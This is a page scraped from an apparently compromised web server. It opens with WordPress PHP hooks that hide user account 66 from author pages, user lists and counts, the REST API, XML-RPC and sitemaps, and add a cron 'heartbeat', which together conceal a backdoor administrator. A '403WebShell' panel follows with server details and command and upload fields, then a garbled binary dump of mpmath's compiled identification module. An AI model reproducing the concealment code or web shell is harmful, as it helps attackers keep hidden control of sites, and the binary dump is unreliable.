add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/mpmath/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mpmath/__pycache__/identification.cpython-312.pyc
�

�"`Er����dZddlmZddlmZmZd�ZGd�de�ZdId
�Z	dJd�Z
d�Zd
�Zd�Z
d�Zd�ddfd�ddfd�ddfd�ddfd�ddfd�ddfd�ddfd�d dfd!�d"dfd#�d$dfd%�d&dfd'�d(dfd)�d*dfd+�d,dfd-�d.dfd/�d0dfd1�d2dfd3�d4dfd5�d6dfd7�d8dfd9�d:dfd;�d<dfd=�d>dfd?�d@dfdA�dBdfdC�dDdfdE�dFdfgZgddd	d	fdG�Ze	e_	e
e_
ee_edHk(rddlZej&�yy)Kzs
Implements the PSLQ algorithm for integer relation detection,
and derivative algorithms for constant recognition.
�)�xrange)�	int_types�
sqrt_fixedc�$�|d|dz
zz|z	|zS�Nr�)�x�precs  �7/usr/lib/python3/dist-packages/mpmath/identification.py�round_fixedr
s��
�!�d�1�f�+�
�4�'�D�0�0�c��eZdZy)�IdentificationMethodsN)�__name__�
__module__�__qualname__rr
rrr
s��r
rN��Fc
��t|�}|dkrtd��|j}|dkrtd��|r|td|�zdkrt	d�t|dz�}|�|j
d�|z}n|j|�}d	}	||	z
}|rt	d
||j|�fz�|j||�}|sJ�dg|D�
cgc]#}
|j|j
|
�|���%c}
z}td�|ddD��}|std
��||dzkr|rt	d�ytd|zdz|�}i}
i}i}td|dz�D]1}td|dz�D]}||k(|zx|
||f<|||f<d|||f<��3dgdg|zz}td|dz�D]5}d}t||dz�D]}|||dz|z	z
}�t||�||<�7|d}|dd}td|dz�D]}|||z|z||<|||z|z||<� td|dz�D]�}t|dz|�D]	}d|||f<�||dz
kr#||r||dz|z||z|||f<nd|||f<td|�D]1}||||dzz}|r||||z|z|z|||f<�+d|||f<�3��td|dz�D]�}t|dz
dd�D]�}|||frt|||f|z|||fz|�}n�(|||||z|z	z||<td|dz�D]}|||f||||fz|z	z
|||f<�td|dz�D]6}|
||f||
||fz|z	z
|
||f<|||f||||fz|z	z|||f<�8����t|�D�]�}d}d}td|�D]-}|||f}||zt|�z||dz
zz	}||kDs�*|}|}�/||dz||c||<||dz<td|dz�D]!}||dz|f|||fc|||f<||dz|f<�#td|dz�D]!}|
|dz|f|
||fc|
||f<|
|dz|f<�#td|dz�D]!}|||dzf|||fc|||f<|||dzf<�#||dz
kr�t|||fdz|||dzfdzz|z	|�}|s�n�|||f|z|z}|||dzf|z|z}t||dz�D]=}|||f}|||dzf} ||z|| zz|z	|||f<||z|| zz|z	|||dzf<�?t|dz|dz�D]�}tt|dz
|dz�dd�D]�}	t|||f|z|||fz|�}|||||z|z	z||<td|dz�D]}|||f||||fz|z	z
|||f<�td|dz�D]6}|
||f||
||fz|z	z
|
||f<|||f||||fz|z	z|||f<�8����||z}!td|dz�D]�}t||�}"|"|kr�td|dz�D�cgc]}tt|||f|�|z	���!}#}td�|#D��|kr>|r6t	d|||j|"|j
d�|zzd�fz�|#ccSt|"|!�}!��td�|j#�D��}$|$rdd|zz|$z|z	}%|%dz}%n|j$}%|r7t	d|||j|!|j
d�|zzd�|%fz�|%|k\s���n|rt	d|fz�t	d%z�ycc}
w#t $rY��HwxYwcc}w)a�

    Given a vector of real numbers `x = [x_0, x_1, ..., x_n]`, ``pslq(x)``
    uses the PSLQ algorithm to find a list of integers
    `[c_0, c_1, ..., c_n]` such that

    .. math ::

        |c_1 x_1 + c_2 x_2 + ... + c_n x_n| < \mathrm{tol}

    and such that `\max |c_k| < \mathrm{maxcoeff}`. If no such vector
    exists, :func:`~mpmath.pslq` returns ``None``. The tolerance defaults to
    3/4 of the working precision.

    **Examples**

    Find rational approximations for `\pi`::

        >>> from mpmath import *
        >>> mp.dps = 15; mp.pretty = True
        >>> pslq([-1, pi], tol=0.01)
        [22, 7]
        >>> pslq([-1, pi], tol=0.001)
        [355, 113]
        >>> mpf(22)/7; mpf(355)/113; +pi
        3.14285714285714
        3.14159292035398
        3.14159265358979

    Pi is not a rational number with denominator less than 1000::

        >>> pslq([-1, pi])
        >>>

    To within the standard precision, it can however be approximated
    by at least one rational number with denominator less than `10^{12}`::

        >>> p, q = pslq([-1, pi], maxcoeff=10**12)
        >>> print(p); print(q)
        238410049439
        75888275702
        >>> mpf(p)/q
        3.14159265358979

    The PSLQ algorithm can be applied to long vectors. For example,
    we can investigate the rational (in)dependence of integer square
    roots::

        >>> mp.dps = 30
        >>> pslq([sqrt(n) for n in range(2, 5+1)])
        >>>
        >>> pslq([sqrt(n) for n in range(2, 6+1)])
        >>>
        >>> pslq([sqrt(n) for n in range(2, 8+1)])
        [2, 0, 0, 0, 0, 0, -1]

    **Machin formulas**

    A famous formula for `\pi` is Machin's,

    .. math ::

        \frac{\pi}{4} = 4 \operatorname{acot} 5 - \operatorname{acot} 239

    There are actually infinitely many formulas of this type. Two
    others are

    .. math ::

        \frac{\pi}{4} = \operatorname{acot} 1

        \frac{\pi}{4} = 12 \operatorname{acot} 49 + 32 \operatorname{acot} 57
            + 5 \operatorname{acot} 239 + 12 \operatorname{acot} 110443

    We can easily verify the formulas using the PSLQ algorithm::

        >>> mp.dps = 30
        >>> pslq([pi/4, acot(1)])
        [1, -1]
        >>> pslq([pi/4, acot(5), acot(239)])
        [1, -4, 1]
        >>> pslq([pi/4, acot(49), acot(57), acot(239), acot(110443)])
        [1, -12, -32, 5, -12]

    We could try to generate a custom Machin-like formula by running
    the PSLQ algorithm with a few inverse cotangent values, for example
    acot(2), acot(3) ... acot(10). Unfortunately, there is a linear
    dependence among these values, resulting in only that dependence
    being detected, with a zero coefficient for `\pi`::

        >>> pslq([pi] + [acot(n) for n in range(2,11)])
        [0, 1, -1, 0, 0, 0, -1, 0, 0, 0]

    We get better luck by removing linearly dependent terms::

        >>> pslq([pi] + [acot(n) for n in range(2,11) if n not in (3, 5)])
        [1, -8, 0, 0, 4, 0, 0, 0]

    In other words, we found the following formula::

        >>> 8*acot(2) - 4*acot(7)
        3.14159265358979323846264338328
        >>> +pi
        3.14159265358979323846264338328

    **Algorithm**

    This is a fairly direct translation to Python of the pseudocode given by
    David Bailey, "The PSLQ Integer Relation Algorithm":
    http://www.cecm.sfu.ca/organics/papers/bailey/paper/html/node3.html

    The present implementation uses fixed-point instead of floating-point
    arithmetic, since this is significantly (about 7x) faster.
    �zn cannot be less than 2�5zprec cannot be less than 53�z*Warning: precision for PSLQ may be too lowg�?N�<zPSLQ using prec %i and tol %sc3�2K�|]}t|����y�w�N��abs)�.0�xxs  r�	<genexpr>zpslq.<locals>.<genexpr>�s����'�2�s�2�w�'���rz)PSLQ requires a vector of nonzero numbers�dz#STOPPING: (one number is too small)������c3�2K�|]}t|����y�wrr)r�vs  rrzpslq.<locals>.<genexpr>s����+�!�s�1�v�+�r z'FOUND relation at iter %i/%i, error: %sc3�2K�|]}t|����y�wrr)r�hs  rrzpslq.<locals>.<genexpr>'s����1��c�!�f�1�r z%i/%i:  Error: %8s   Norm: %szCANCELLING after step %i/%i.z2Could not find an integer relation. Norm bound: %s)�len�
ValueErrorr
�max�print�int�mpf�convert�nstr�to_fixed�minrr�rangerr�ZeroDivisionError�values�inf)&�ctxr	�tol�maxcoeff�maxsteps�verbose�nr
�target�extra�xk�minx�g�A�B�H�i�j�s�k�t�y�sjj1�REP�m�szmaxr)�sz�t0�t1�t2�t3�t4�best_err�err�vec�recnorm�norms&                                      r�pslqr[s�	��f	�A��A��1�u��2�3�3��8�8�D��b�y��6�7�7��4�3�q��8�#�a�'�
�:�;�
����
�F�
�{��g�g�a�j�F�7�#���k�k�#����E��E�M�D��
�-��s�x�x��}�0E�E�F�

�,�,�s�D�
!�C��J�3�
��A�>�b�#�,�,�s�w�w�r�{�D�1�>�>�A��'��1�2��'�'�D���D�E�E��c�3�h����7�8���A�t�G�a�<��&�A�
�A�
�A�
�A��A�q��s�^�����1�Q�3��	�A� �!�t��n�,�A�a��c�F�Q�q��s�V��A�a��c�F�	��

��!��q���A�
�A�q��s�^�#��
����1�Q�3��	#�A�
�!�A�$��'�T�/�"�A�	#��!�T�"��!��	#�
	
�!��A�	�!��A�
�A�q��s�^�#���!�����"��!���!�����"��!��#��A�q��s�^�
����!��Q��	�A��A�a��c�F�	���!��8���t��A�a�C�&�D�.�Q�q�T�1��!�A�#����!�A�#���q�!��	�A��Q�4��!�A�#��;�D���a�D�5��1��:��,�t�3��!�A�#����!�A�#��	�
��A�q��s�^�
5����!��Q��#�	5�A���1��v���1�Q�3��4��!�A�a�C�&� 8�$�?����Q�4�1�Q�q�T�6�T�>�*�A�a�D��A�q��s�^�
5���1�Q�3��1�Q�q��s�V�8�t�#3�4��!�A�#��
5��A�q��s�^�
5���1�Q�3��1�Q�q��s�V�8�t�#3�4��!�A�#���1�Q�3��1�Q�q��s�V�8�t�#3�4��!�A�#��
5�	5�
5��X��M�������q�!��	�A��!�A�#��A��Q�$��Q��-�T�1�Q�3�Z�0�B��E�z�����	���1��v�q��t���!��a��!��f���!�A�#��C�A�1�Q�q�S��U�8�Q�q��s�V� 0��!�A�#���!�A�#�a�%��C���!�A�#��C�A�1�Q�q�S��U�8�Q�q��s�V� 0��!�A�#���!�A�#�a�%��C���!�A�#��C�A�1�Q�q��s�U�8�Q�q��s�V� 0��!�A�#���!�A�a�C�%��C���A��:��Q�q��s�V�Q�Y��1�Q�q�S�5��1��4�t�;�T�B�B����A�a�C�&�D�.�R�'�B��A�a��c�E�(�d�"�r�)�B��A�q��s�^�
2���q��s�V���q��1��u�X���R�%��2��+�$�.��!�A�#���C��F�2�b�5�L�T�1��!�A�a�C�%��	
2���!��Q�q�S�!�	9�A��C��!��Q�q�S�M�1�b�1�
9���#�Q�q��s�V�t�^�a��!��f�$<�d�C�A���t��!�A�$��4�/�0��!����1�Q�3��9�A��q��s�V�q��1�Q�3��x�4�'7�8�A�a��c�F�9���1�Q�3��9�A��q��s�V�q��1�Q�3��x�4�'7�8�A�a��c�F��q��s�V�q��1�Q�3��x�4�'7�8�A�a��c�F�9�
9�	9�&�T�>����1�Q�3��	*�A��a��d�)�C��S�y��a��!����!�s�;�q��1��v�t�4��<�=�����+�s�+�+�h�6���G� �(�C�H�H�S�3�7�7�1�:�t�;K�5K�Q�,O�P�Q�R��J��3��)�H�	*� �1�a�h�h�j�1�1����1�T�6�]�w�.�4�7�D��S�L�D��7�7�D���1��h�����C�G�G�A�J��4D�)D�a� H�$�O�P�
Q��8���[M�\�
�,��X��>�?�
�B�T�I�J���c?��H)�����(s�(]4�"]9�$^
�9	^	�^	c�
�|j|�}|dkrtd��|dk(rddgS|jd�g}td|dz�D]5}|j||z�|j|fi|��}|��-|ddd�cSy)a�
    ``findpoly(x, n)`` returns the coefficients of an integer
    polynomial `P` of degree at most `n` such that `P(x) \approx 0`.
    If no polynomial having `x` as a root can be found,
    :func:`~mpmath.findpoly` returns ``None``.

    :func:`~mpmath.findpoly` works by successively calling :func:`~mpmath.pslq` with
    the vectors `[1, x]`, `[1, x, x^2]`, `[1, x, x^2, x^3]`, ...,
    `[1, x, x^2, .., x^n]` as input. Keyword arguments given to
    :func:`~mpmath.findpoly` are forwarded verbatim to :func:`~mpmath.pslq`. In
    particular, you can specify a tolerance for `P(x)` with ``tol``
    and a maximum permitted coefficient size with ``maxcoeff``.

    For large values of `n`, it is recommended to run :func:`~mpmath.findpoly`
    at high precision; preferably 50 digits or more.

    **Examples**

    By default (degree `n = 1`), :func:`~mpmath.findpoly` simply finds a linear
    polynomial with a rational root::

        >>> from mpmath import *
        >>> mp.dps = 15; mp.pretty = True
        >>> findpoly(0.7)
        [-10, 7]

    The generated coefficient list is valid input to ``polyval`` and
    ``polyroots``::

        >>> nprint(polyval(findpoly(phi, 2), phi), 1)
        -2.0e-16
        >>> for r in polyroots(findpoly(phi, 2)):
        ...     print(r)
        ...
        -0.618033988749895
        1.61803398874989

    Numbers of the form `m + n \sqrt p` for integers `(m, n, p)` are
    solutions to quadratic equations. As we find here, `1+\sqrt 2`
    is a root of the polynomial `x^2 - 2x - 1`::

        >>> findpoly(1+sqrt(2), 2)
        [1, -2, -1]
        >>> findroot(lambda x: x**2 - 2*x - 1, 1)
        2.4142135623731

    Despite only containing square roots, the following number results
    in a polynomial of degree 4::

        >>> findpoly(sqrt(2)+sqrt(3), 4)
        [1, 0, -10, 0, 1]

    In fact, `x^4 - 10x^2 + 1` is the *minimal polynomial* of
    `r = \sqrt 2 + \sqrt 3`, meaning that a rational polynomial of
    lower degree having `r` as a root does not exist. Given sufficient
    precision, :func:`~mpmath.findpoly` will usually find the correct
    minimal polynomial of a given algebraic number.

    **Non-algebraic numbers**

    If :func:`~mpmath.findpoly` fails to find a polynomial with given
    coefficient size and tolerance constraints, that means no such
    polynomial exists.

    We can verify that `\pi` is not an algebraic number of degree 3 with
    coefficients less than 1000::

        >>> mp.dps = 15
        >>> findpoly(pi, 3)
        >>>

    It is always possible to find an algebraic approximation of a number
    using one (or several) of the following methods:

        1. Increasing the permitted degree
        2. Allowing larger coefficients
        3. Reducing the tolerance

    One example of each method is shown below::

        >>> mp.dps = 15
        >>> findpoly(pi, 4)
        [95, -545, 863, -183, -298]
        >>> findpoly(pi, 3, maxcoeff=10000)
        [836, -1734, -2658, -457]
        >>> findpoly(pi, 3, tol=1e-7)
        [-4, 22, -29, -2]

    It is unknown whether Euler's constant is transcendental (or even
    irrational). We can use :func:`~mpmath.findpoly` to check that if is
    an algebraic number, its minimal polynomial must have degree
    at least 7 and a coefficient of magnitude at least 1000000::

        >>> mp.dps = 200
        >>> findpoly(euler, 6, maxcoeff=10**6, tol=1e-100, maxsteps=1000)
        >>>

    Note that the high precision and strict tolerance is necessary
    for such high-degree runs, since otherwise unwanted low-accuracy
    approximations will be detected. It may also be necessary to set
    maxsteps high to prevent a premature exit (before the coefficient
    bound has been reached). Running with ``verbose=True`` to get an
    idea what is happening can be useful.
    rzn cannot be less than 1r$Nr%)r/r+r4�appendr[)r8r	r=�kwargs�xsrF�as       r�findpolyra7s���R	����
�A��1�u��2�3�3��A�v��1�v�
�

�'�'�!�*��B�
�1�Q�q�S�\���
�	�	�!�Q�$���C�H�H�R�"�6�"���=��T�r�T�7�N�	r
c�V�||}}|r
|||z}}|r�
|dk7r
||z}||z}|dk(r|S||fSrr)�p�qr	rKs    r�fracgcdre�sN���a�q�A�
��!�a�%�1����A�v�	�a���	�a����A�v����a�4�Kr
c�z�|d}|dd}g}tt|��D]r}||}|s�t||�}||d}|dk(rd}nd|z}t|t�r|dkDrt|�|z}nd|z|z}nd|z|z}|j
|��tdj|�}d	|vsd|vrd
|zdz}|xsdS)
Nr$r�1��*z(%s)z(%s/%s)z + �+�(�)�0)r4r*re�
isinstancer�strr]�join)	�r�	constantsrdrHrFrc�z�cs�terms	         r�
pslqstringrv�s���	�!��A�	�!�"��A�
�A�
�3�q�6�]���
�a�D������1�
�A��1��a��B��S�y����2�X���!�Y�'��q�5��Q��"��$�"(�1�*��!2�$�!�A�
��+��
�H�H�T�N��	�
�
�1�
�A�
�a�x�3�!�8��!�G�c�M���8��Or
c��|d}|dd}g}g}tt|��D]�}||}|s�t||�}||d}t|t�r;t|�dk(r|}	n|�dt|���}	||g|dkj
|	��k|�dt|d��d|d�d�}	||g|ddkj
|	���dj|�}dj|�}|r|r	d|�d	|�d�S|r|S|rd
|zSy)Nr$rz**z**(�/rlrirkz)/(z1/(%s))r4r*rernrrr]rp)
rqrrrd�num�denrFrcrsrtrJs
          r�
prodstringr{�s��	�!��A�	�!�"��A�
�C�
�C�
�3�q�6�]�.��
�a�D������1�
�A��1��a��B��!�Y�'��q�6�Q�;�B��02�C��F�$;���c��1�Q�3��'�'��*�%'��Q�q�T��A�a�D�9���c��1�Q�4��6�"�*�*�1�-�.��(�(�3�-�C�

�(�(�3�-�C�
�s�#�s�3�3�
�3�J�
�8�c�>�!�sr
c���|dkr	|||}}}||j|dzd|z|zz
�zd|zz}||j|dzd|z|zz
�z
d|zz}t||z
�t||z
�kr4|rd|�d|dzd|z|zz
�dd|z�d�}|Sdd	|z|z�d
d|z�d�}|S|rd|�d|dzd|z|zz
�dd|z�d�}|Sdd	|z|z�d
d|z�d�}|S)
Nr$rr"z((z+sqrt(z))/rlz(sqrt(���z)/z-sqrt(z(-sqrt()�sqrtr)r8rJr`�b�c�u1�u2rHs        r�quadraticstringr��s(���1�u���A�2�q�b�A�!���"�S�X�X�a��d�1�Q�3�q�5�j�
!�
!�A�a�C�	(�B��"�S�X�X�a��d�1�Q�3�q�5�j�
!�
!�A�a�C�	(�B�
�2�a�4�y�3�r�!�t�9���A�2�a��d�1�Q�3�q�5�j��1��=�q�

�H�
�&(��d�1�f�Q�q�S�1�q�
�H�
�A�2�a��d�1�Q�3�q�5�j��1��=�q��H�
�')�!�t�A�v�a��c�2�q��Hr
c��||zSrr�r8r	r�s   r�<lambda>r���
��1�Q�3�r
z$y/$cr$c��||zSrrr�s   rr�r��r�r
z$c*$yc��||zSrrr�s   rr�r��r�r
z$c/$yc��||zdzS�Nrrr�s   rr�r�����A�a�C�!�8�r
zsqrt($y)/$cc��||zdzSr�rr�s   rr�r��r�r
z$c*sqrt($y)c��||zdzSr�rr�s   rr�r��r�r
z$c/sqrt($y)c��||dzzSr�rr�s   rr�r�����1�Q��T�6�r
zsqrt($y)/sqrt($c)c��|dz|zSr�rr�s   rr�r��s��1�a�4��6�r
zsqrt($c)*sqrt($y)c��||dzzSr�rr�s   rr�r��r�r
zsqrt($c)/sqrt($y)c�*�|j||z�Sr�r~r�s   rr�r����3�8�8�A�a�C�=�r
z$y**2/$cc�*�|j||z�Srr�r�s   rr�r�r�r
z$c*$y**2c�*�|j||z�Srr�r�s   rr�r�r�r
z$c/$y**2c�*�||j|�zSrr�r�s   rr�r����1�S�X�X�a�[�=�r
z$y**2/$c**2c�*�|j|�|zSrr�r�s   rr�r�s��3�8�8�A�;�q�=�r
z$c**2*$y**2c�*�||j|�zSrr�r�s   rr�r�r�r
z$c**2/$y**2c�*�|j||z�Sr��expr�s   rr�r����3�7�7�1�Q�3�<�r
z
log($y)/$cc�*�|j||z�Srr�r�s   rr�r�r�r
z
$c*log($y)c�*�|j||z�Srr�r�s   rr�r�r�r
z
$c/log($y)c�*�||j|�zSrr�r�s   rr�r�	���1�S�W�W�Q�Z�<�r
z
log($y/$c)c�*�|j|�|zSrr�r�s   rr�r�
s��3�7�7�1�:�a�<�r
z
log($c*$y)c�*�||j|�zSrr�r�s   rr�r�r�r
z
log($c/$y)c�*�|j||z�Sr��lnr�s   rr�r����3�6�6�!�A�#�;�r
z
exp($y)/$cc�*�|j||z�Srr�r�s   rr�r�
r�r
z
$c*exp($y)c�*�|j||z�Srr�r�s   rr�r�r�r
z
$c/exp($y)c�*�||j|�zSrr�r�s   rr�r����1�S�V�V�A�Y�;�r
z
exp($y/$c)c�*�|j|�|zSrr�r�s   rr�r�s��3�6�6�!�9�Q�;�r
z
exp($c*$y)c�*�||j|�zSrr�r�s   rr�r�r�r
z
exp($c/$y)c
�������g���fd�}�j|�}|dk(r|rdgSy|dkr5�j|||||��}|�|S|r|D�	cgc]}	d|	z��	c}	Sd|zS|r�j|�}n�jdz}|}
|r�t|t�r=t|j
��D��cgc]\}}�j|�|f��}}}n;t	�fd�t��D��}
|D�cgc]}t||
�|f��}}ng}d|D��cgc]\}}|��	c}}vr�jd�d	fg|z}tD�]�\}}}|D�]u\}}|r|d	k(r�|�||�}t|�|
d
zkDst|�|kr�9�j|g|D�cgc]}|d��	c}z||
�}d}	|�'td�|D��|
kr|dr
t||�}	nx�j�j||d
zg||
�}|�St|�dk(rE|d
r@|\}}}tt|�t|�t|��|
krt!�||||�}	|	ra|d	k(r'd
|vr#|j#d|	�j#d
d�}	n"|j#d|	�j#d|�}	||	�|s	�dccS�s��kt%d���x���|dk7r�gd�}g}|D]=\�}	t'��fd�|D��r�|j)�j+��|	f��?|D�cgc]}�j+|�t-|�f�� c}|z}�j�j+|�g|D�cgc]}|d��	c}z||
�}|�3td�|D��|
kr|dr|t/||��|s�dS|rt�t��Sycc}	wcc}}wcc}wcc}}wcc}wcc}wcc}w)an
    Given a real number `x`, ``identify(x)`` attempts to find an exact
    formula for `x`. This formula is returned as a string. If no match
    is found, ``None`` is returned. With ``full=True``, a list of
    matching formulas is returned.

    As a simple example, :func:`~mpmath.identify` will find an algebraic
    formula for the golden ratio::

        >>> from mpmath import *
        >>> mp.dps = 15; mp.pretty = True
        >>> identify(phi)
        '((1+sqrt(5))/2)'

    :func:`~mpmath.identify` can identify simple algebraic numbers and simple
    combinations of given base constants, as well as certain basic
    transformations thereof. More specifically, :func:`~mpmath.identify`
    looks for the following:

        1. Fractions
        2. Quadratic algebraic numbers
        3. Rational linear combinations of the base constants
        4. Any of the above after first transforming `x` into `f(x)` where
           `f(x)` is `1/x`, `\sqrt x`, `x^2`, `\log x` or `\exp x`, either
           directly or with `x` or `f(x)` multiplied or divided by one of
           the base constants
        5. Products of fractional powers of the base constants and
           small integers

    Base constants can be given as a list of strings representing mpmath
    expressions (:func:`~mpmath.identify` will ``eval`` the strings to numerical
    values and use the original strings for the output), or as a dict of
    formula:value pairs.

    In order not to produce spurious results, :func:`~mpmath.identify` should
    be used with high precision; preferably 50 digits or more.

    **Examples**

    Simple identifications can be performed safely at standard
    precision. Here the default recognition of rational, algebraic,
    and exp/log of algebraic numbers is demonstrated::

        >>> mp.dps = 15
        >>> identify(0.22222222222222222)
        '(2/9)'
        >>> identify(1.9662210973805663)
        'sqrt(((24+sqrt(48))/8))'
        >>> identify(4.1132503787829275)
        'exp((sqrt(8)/2))'
        >>> identify(0.881373587019543)
        'log(((2+sqrt(8))/2))'

    By default, :func:`~mpmath.identify` does not recognize `\pi`. At standard
    precision it finds a not too useful approximation. At slightly
    increased precision, this approximation is no longer accurate
    enough and :func:`~mpmath.identify` more correctly returns ``None``::

        >>> identify(pi)
        '(2**(176/117)*3**(20/117)*5**(35/39))/(7**(92/117))'
        >>> mp.dps = 30
        >>> identify(pi)
        >>>

    Numbers such as `\pi`, and simple combinations of user-defined
    constants, can be identified if they are provided explicitly::

        >>> identify(3*pi-2*e, ['pi', 'e'])
        '(3*pi + (-2)*e)'

    Here is an example using a dict of constants. Note that the
    constants need not be "atomic"; :func:`~mpmath.identify` can just
    as well express the given number in terms of expressions
    given by formulas::

        >>> identify(pi+e, {'a':pi+2, 'b':2*e})
        '((-2) + 1*a + (1/2)*b)'

    Next, we attempt some identifications with a set of base constants.
    It is necessary to increase the precision a bit.

        >>> mp.dps = 50
        >>> base = ['sqrt(2)','pi','log(2)']
        >>> identify(0.25, base)
        '(1/4)'
        >>> identify(3*pi + 2*sqrt(2) + 5*log(2)/7, base)
        '(2*sqrt(2) + 3*pi + (5/7)*log(2))'
        >>> identify(exp(pi+2), base)
        'exp((2 + 1*pi))'
        >>> identify(1/(3+sqrt(2)), base)
        '((3/7) + (-1/7)*sqrt(2))'
        >>> identify(sqrt(2)/(3*pi+4), base)
        'sqrt(2)/(4 + 3*pi)'
        >>> identify(5**(mpf(1)/3)*pi*log(2)**2, base)
        '5**(1/3)*pi*log(2)**2'

    An example of an erroneous solution being found when too low
    precision is used::

        >>> mp.dps = 15
        >>> identify(1/(3*pi-4*e+sqrt(8)), ['pi', 'e', 'sqrt(2)'])
        '((11/25) + (-158/75)*pi + (76/75)*e + (44/15)*sqrt(2))'
        >>> mp.dps = 50
        >>> identify(1/(3*pi-4*e+sqrt(8)), ['pi', 'e', 'sqrt(2)'])
        '1/(3*pi + (-4)*e + 2*sqrt(2))'

    **Finding approximate solutions**

    The tolerance ``tol`` defaults to 3/4 of the working precision.
    Lowering the tolerance is useful for finding approximate matches.
    We can for example try to generate approximations for pi::

        >>> mp.dps = 15
        >>> identify(pi, tol=1e-2)
        '(22/7)'
        >>> identify(pi, tol=1e-3)
        '(355/113)'
        >>> identify(pi, tol=1e-10)
        '(5**(339/269))/(2**(64/269)*3**(13/269)*7**(92/269))'

    With ``full=True``, and by supplying a few base constants,
    ``identify`` can generate almost endless lists of approximations
    for any number (the output below has been truncated to show only
    the first few)::

        >>> for p in identify(pi, ['e', 'catalan'], tol=1e-5, full=True):
        ...     print(p)
        ...  # doctest: +ELLIPSIS
        e/log((6 + (-4/3)*e))
        (3**3*5*e*catalan**2)/(2*7**2)
        sqrt(((-13) + 1*e + 22*catalan))
        log(((-6) + 24*e + 4*catalan)/e)
        exp(catalan*((-1/5) + (8/15)*e))
        catalan*(6 + (-6)*e + 15*catalan)
        sqrt((5 + 26*e + (-3)*catalan))/e
        e*sqrt(((-27) + 2*e + 25*catalan))
        log(((-1) + (-11)*e + 59*catalan))
        ((3/20) + (21/20)*e + (3/20)*catalan)
        ...

    The numerical values are roughly as close to `\pi` as permitted by the
    specified tolerance:

        >>> e/log(6-4*e/3)
        3.14157719846001
        >>> 135*e*catalan**2/98
        3.14166950419369
        >>> sqrt(e-13+22*catalan)
        3.14158000062992
        >>> log(24*e-6+4*catalan)-1
        3.14158791577159

    **Symbolic processing**

    The output formula can be evaluated as a Python expression.
    Note however that if fractions (like '2/3') are present in
    the formula, Python's :func:`~mpmath.eval()` may erroneously perform
    integer division. Note also that the output is not necessarily
    in the algebraically simplest form::

        >>> identify(sqrt(2))
        '(sqrt(8)/2)'

    As a solution to both problems, consider using SymPy's
    :func:`~mpmath.sympify` to convert the formula into a symbolic expression.
    SymPy can be used to pretty-print or further simplify the formula
    symbolically::

        >>> from sympy import sympify # doctest: +SKIP
        >>> sympify(identify(sqrt(2))) # doctest: +SKIP
        2**(1/2)

    Sometimes :func:`~mpmath.identify` can simplify an expression further than
    a symbolic algorithm::

        >>> from sympy import simplify # doctest: +SKIP
        >>> x = sympify('-1/(-3/2+(1/2)*5**(1/2))*(3/2-1/2*5**(1/2))**(1/2)') # doctest: +SKIP
        >>> x # doctest: +SKIP
        (3/2 - 5**(1/2)/2)**(-1/2)
        >>> x = simplify(x) # doctest: +SKIP
        >>> x # doctest: +SKIP
        2/(6 - 2*5**(1/2))**(1/2)
        >>> mp.dps = 30 # doctest: +SKIP
        >>> x = sympify(identify(x.evalf(30))) # doctest: +SKIP
        >>> x # doctest: +SKIP
        1/2 + 5**(1/2)/2

    (In fact, this functionality is available directly in SymPy as the
    function :func:`~mpmath.nsimplify`, which is essentially a wrapper for
    :func:`~mpmath.identify`.)

    **Miscellaneous issues and limitations**

    The input `x` must be a real number. All base constants must be
    positive real numbers and must not be rationals or rational linear
    combinations of each other.

    The worst-case computation time grows quickly with the number of
